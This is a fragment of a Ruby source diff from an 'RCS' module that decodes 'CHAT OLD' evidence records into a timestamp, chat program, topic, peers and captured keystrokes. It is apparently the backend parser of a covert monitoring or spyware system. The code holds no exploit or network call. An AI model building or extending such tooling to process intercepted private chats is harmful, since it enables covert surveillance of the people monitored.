|
|
223
|
+
ret = Array.new
|
|
224
|
+
10.rand_times { ret << content() }
|
|
225
|
+
ret
|
|
226
|
+
end
|
|
227
|
+
|
|
228
|
+
def decode_content(common_info, chunks)
|
|
229
|
+
stream = StringIO.new chunks.join
|
|
230
|
+
|
|
231
|
+
until stream.eof?
|
|
232
|
+
tm = stream.read 36
|
|
233
|
+
#trace :info, "CHAT Time.gm #{tm.unpack('l*')}"
|
|
234
|
+
info = Hash[common_info]
|
|
235
|
+
info[:da] = Time.gm(*(tm.unpack('L*')), 0)
|
|
236
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
237
|
+
info[:data][:program] = ''
|
|
238
|
+
info[:data][:topic] = ''
|
|
239
|
+
info[:data][:peer] = ''
|
|
240
|
+
info[:data][:content] = ''
|
|
241
|
+
|
|
242
|
+
program = stream.read_utf16le_string
|
|
243
|
+
info[:data][:program] = program.utf16le_to_utf8 unless program.nil?
|
|
244
|
+
#trace :info, "CHAT Program #{info[:data][:program]}"
|
|
245
|
+
topic = stream.read_utf16le_string
|
|
246
|
+
info[:data][:topic] = topic.utf16le_to_utf8 unless topic.nil?
|
|
247
|
+
#trace :info, "CHAT Topic #{info[:data][:topic]}"
|
|
248
|
+
users = stream.read_utf16le_string
|
|
249
|
+
info[:data][:peer] = users.utf16le_to_utf8 unless users.nil?
|
|
250
|
+
#trace :info, "CHAT Users #{info[:data][:users]}"
|
|
251
|
+
keystrokes = stream.read_utf16le_string
|
|
252
|
+
info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
|
|
253
|
+
|
|
254
|
+
begin
|
|
255
|
+
info[:data][:content] = JSON.parse info[:data][:content]
|
|
256
|
+
rescue Exception => e
|
|
257
|
+
# leave content as is
|
|
258
|
+
end
|
|
259
|
+
|
|
260
|
+
delim = stream.read(4).unpack("L*").first
|
|
261
|
+
raise EvidenceDeserializeError.new("Malformed CHAT OLD (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
262
|
+
|
|
263
|
+
#puts "decode_content #{info}"
|
|
264
|
+
|
|
265
|
+
yield info if block_given?
|
|
266
|
+
end
|
|
267
|
+
:delete_raw
|
|
268
|
+
end
|
|
269
|
+
end # ChatoldEvidence
|
|
270
|
+
|
|
271
|
+
|
|
272
|
+
end # ::RCS
|